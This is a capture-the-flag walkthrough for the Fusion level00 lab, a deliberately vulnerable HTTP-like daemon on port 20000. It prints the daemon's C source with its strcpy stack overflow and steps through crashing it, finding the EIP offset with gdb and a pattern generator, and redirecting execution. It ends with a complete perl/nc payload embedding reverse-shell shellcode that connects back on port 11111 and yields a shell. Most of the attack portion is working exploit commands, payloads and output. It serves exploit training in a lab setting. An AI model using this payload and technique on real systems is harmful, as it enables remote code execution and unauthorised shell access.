Fusion exploits Level 00

Introduction

Fusion exploits are a cool bunch of ctf type challenges that focus on Linux  binary exploits that progressively get harder. An ISO containing the OS and challenges can be downloaded from the main site.

The website with all challenge information and downloads is at https://exploit-exercises.com/fusion/

Fusion is the next step from the protostar setup, and covers more advanced styles of exploitation, and covers a variety of anti-exploitation mechanisms such as:

Address Space Layout Randomisation
Position Independent Executables
Non-executable Memory
Source Code Fortification (_DFORTIFY_SOURCE=)
Stack Smashing Protection (ProPolice / SSP)
In addition to the above, there are a variety of other challenges and things to explore, such as:

  • Cryptographic issues
  • Timing attacks
  • Variety of network protocols (such as Protocol Buffers and Sun RPC)

Challenge

Test run

Level 00 is a network daemon that listens on port 20000. The iso image automatically starts the daemon for us. If we list the running processes we should see it.

fusion@fusion:~$ ps ax |grep level00
 1417 ? Ss 0:00 /opt/fusion/bin/level00
...
fusion@fusion:~$ sudo netstat -nap|grep level00
[sudo] password for fusion: 
tcp 0 0 0.0.0.0:20000 0.0.0.0:* LISTEN 1417/level00 
fusion@fusion:~$ perl -e 'print "GET / HTTP/1.1"'| nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
trying to access /

Sending the the string “GET / HTTP/1.1” successfully invokes the vulnerable fix_path() call.

Exploit

Challenge hint ‘Storing your shellcode inside of the fix_path ‘resolved’ buffer might be a bad idea due to character restrictions due to realpath(). Instead, there is plenty of room after the HTTP/1.1 that you can use that will be ideal (and much larger).”

Challenge source code.

#include "../common/common.c" 

int fix_path(char *path)
{
 char resolved[128];
 
 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
 strcpy(path, resolved);
}

char *parse_http_request()
{
 char buffer[1024];
 char *path;
 char *q;

 printf("[debug] buffer is at 0x%08x :-)\n", buffer);

 if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
 if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

 path = &buffer[4];
 q = strchr(path, ' ');
 if(! q) errx(0, "No protocol version specified");
 *q++ = 0;
 if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

 fix_path(path);

 printf("trying to access %s\n", path);

 return path;
}

int main(int argc, char **argv, char **envp)
{
 int fd;
 char *p;

 background_process(NAME, UID, GID); 
 fd = serve_forever(PORT);
 set_io(fd);

 parse_http_request(); 
}

These are the steps we’ll take to getting a successful exploit working.

  1. Trigger the vulnerability to confirm the basic mechanics
  2. Customize payload to trigger vulnerability and pass control to some point in payload
  3. Place reverse bind shellcode into payload

From the source code above we can determine that the read() input ‘buffer’ cannot be more that 1024 bytes in size.

Let’s invoke the vulnerability with a payload size of 1010 bytes, that’s 1024 – 14 (the GET command).

fusion@fusion:~$ perl -e 'print "GET /" ."A"x1010 . " HTTP/1.1"'| nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
usion@fusion:~$ ls /tmp/ -la
total 0
drwxrwxrwt 4 root root  80 2015-09-21 13:17 .
drwxr-xr-x 1 root root 240 2015-09-21 03:18 ..
drwxrwxrwt 2 root root  40 2015-09-21 03:18 .ICE-unix
drwxrwxrwt 2 root root  40 2015-09-21 03:18 .X11-unix

Hmmm, doesn’t seem to have triggered a segfault and no core dump file.

Let’s check how core dump is configured.

fusion@fusion:~$ ulimit -a 
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 31627
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 31627
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
fusion@fusion:~$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c

Appears core dumps have not been enabled.

Let’s enable them.

fusion@fusion:~$ su -c 'ulimit -c unlimited' root
Password: 
fusion@fusion:~$ ulimit -a 
core file size (blocks, -c) unlimited
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 31627
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 31627
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
fusion@fusion:~$ su -c 'echo "/tmp/cores/core.%e.%p.%h.%t" > /proc/sys/kernel/core_pattern'
Password: 
fusion@fusion:~$ cat /proc/sys/kernel/core_pattern
/tmp/cores/core.%e.%p.%h.%t
fusion@fusion:~$ mkdir /tmp/cores
fusion@fusion:~$ sudo chown root:root /tmp/cores

Good so far.

Let’s try to get a core dump once again.

fusion@fusion:~$ perl -e 'print "GET /" ."A"x1010 . " HTTP/1.1"'| nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
fusion@fusion:~$ ls /tmp/cores/
core.level00.3499.fusion.1442812783

Excellent.

Let’s quickly examine the core file.

fusion@fusion:~$ gdb --core /tmp/cores/core.level00.3499.fusion.1442812783 /opt/fusion/bin/level00 -q
Reading symbols from /opt/fusion/bin/level00...done.
[New LWP 3499]

warning: Can't read pathname for load map: Input/output error.
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) i r
eax 0x1 1
ecx 0xb7e568d0 -1209702192
edx 0xbffffc43 -1073742781
ebx 0xb7fceff4 -1208160268
esp 0xbffff8e0 0xbffff8e0
ebp 0x41414141 0x41414141
esi 0xbffffcf8 -1073742600
edi 0x8049f05 134520581
eip 0x41414141 0x41414141
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

It worked!

EIP contains characters from our payload.

A small detail is missing, the actual vulnerable function call is strcpy() in fix_path(). The strcpy() call can be overflowed with any buffer over 128 bytes, so although we have submitted 1024 bytes, anything after 128 will be sufficient and the rest is space for us to play with.

Let’s generate a unique pattern string to use in our payload which will allow us to find exact how many bytes within our payload EIP gets overwritten.

I’m going to use a Python script pattern generator created by Sven Steinbauer.

fusion@fusion:~$ git clone https://github.com/Svenito/exploit-pattern.git
Cloning into exploit-pattern...
remote: Counting objects: 31, done.
remote: Total 31 (delta 0), reused 0 (delta 0), pack-reused 31
Unpacking objects: 100% (31/31), done.
fusion@fusion:~/exploit-pattern$ python pattern.py 1010
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh
fusion@fusion:~/exploit-pattern$ perl -e 'print "GET /" ."Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh" . " HTTP/1.1"'| nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
fusion@fusion:~/exploit-pattern$ ls -la /tmp/cores/
total 456
drwxrwxr-x 2 root fusion 160 2015-09-21 15:49 .
drwxrwxrwt 5 root root 100 2015-09-21 15:17 ..
...
-rw------- 1 root 20000 196608 2015-09-21 15:49 core.level00.3861.fusion.1442814542

Let’s examine the new core file and look at the bytes contained in EIP.

fusion@fusion:~/exploit-pattern$ gdb --core /tmp/cores/core.level00.3861.fusion.1442814542 -q
[New LWP 3861]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0 0x65413665 in ?? ()
(gdb) print $eip
$1 = (void (*)()) 0x65413665
(gdb) q
fusion@fusion:~/exploit-pattern$ echo '0x65364165' | xxd -r
e6Ae

Let’s search for the pattern e6Ae (reverse byte order).

fusion@fusion:~/exploit-pattern$ python pattern.py e6Ae
Pattern e6Ae first occurrence at position 139 in pattern.

Let’s adjust our payload to overwrite EIP with 4 ‘B’s

fusion@fusion:~/exploit-pattern$ perl -e 'print "GET /" ."A"x139 . "BBBB HTTP/1.1"'| nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
fusion@fusion:~/exploit-pattern$ gdb --core /tmp/cores/core.level00.4 -q
fusion@fusion:~/exploit-pattern$ gdb --core /tmp/cores/core.level00.4122.fusion.1442816542 -q
[New LWP 4122]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) i r eip
eip 0x42424242 0x42424242

Our final shellcode will be 67 bytes long.

I will mark the shellcode space in the payload with ‘C’s and use this to help identify where our EIP should point to.

fusion@fusion:~/exploit-pattern$ perl -e 'print "GET /" ."A"x139 . "BBBB HTTP/1.1" . "C"x80'| nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
fusion@fusion:~/exploit-pattern$ gdb --core /tmp/cores/core.level00.4520.fusion.1442820996 -q
[New LWP 4520]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x /32xb 0xbffff8f8+133
0xbffff97d: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff985: 0x41 0x41 0x41 0x42 0x42 0x42 0x42 0x00
0xbffff98d: 0x48 0x54 0x54 0x50 0x2f 0x31 0x2e 0x31
0xbffff995: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43

Looks like we should point EIP to the memory location 0xbffff995

Let’s insert our real shellcode into the payload now.

Reverse bind shellcode taken from here http://shell-storm.org/shellcode/files/shellcode-838.php

Shell will connect back to listening socket on port ‘11111’.

Start our listening socket

fusion@fusion:~$ nc -vvvl 11111

Send payload.

fusion@fusion:~/exploit-pattern$ perl -e 'print "GET /" ."A"x139 . "\x95\xf9\xff\xbf" ." HTTP/1.1" . "\x90"x7 . "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"'| nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
fusion@fusion:~$ nc -vvvl 11111
Connection from 127.0.0.1 port 11111 [tcp/*] accepted
ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
media
mnt
opt
proc
rofs
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
id 
uid=20000 gid=20000 groups=20000

Thank you